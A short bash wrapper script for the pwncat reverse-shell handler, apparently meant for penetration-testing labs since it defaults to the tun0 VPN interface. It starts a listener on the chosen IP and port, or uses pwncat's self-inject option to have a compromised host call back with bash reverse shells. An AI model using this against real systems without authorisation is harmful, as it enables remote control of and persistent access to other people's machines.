pwncat helper script

start_pwncat

#!/bin/bash

if test $# -lt 2; then
        echo "Cannot continue"
        echo "Missing args."
        echo "example: $0 [l] || [i] port interface"
        exit
fi

if [ -z $2 ]; then
        port=8081
        echo "Port was empty (arg 2), using the default: $port"
else
        port="$2"
        echo "Port was not empty, setting port as: $port"
fi
if [ -z $3 ]; then
        echo "Interface was not specified (arg 3). selecting Tun0"
        ip=$( ip addr show tun0 | grep -v "inet6" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" )
        echo "IP assigned as: $ip"
else
        echo "Selecting: $3 as the interface to use."
        ip=$( ip addr show "$3" | grep -v "inet6" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" )
        echo "IP assigned as: $ip"
fi
case $1 in
        "listen"|"l")
                pwncat -l "$ip" "$port" -vv
        ;;
        "inject"|"i")
                pwncat -l "$ip" "$port" --self-inject "/bin/bash:$ip:$port"  -vv
        ;;
        *)
                echo "Cannot do what you asked of me."
                exit 1
        ;;
esac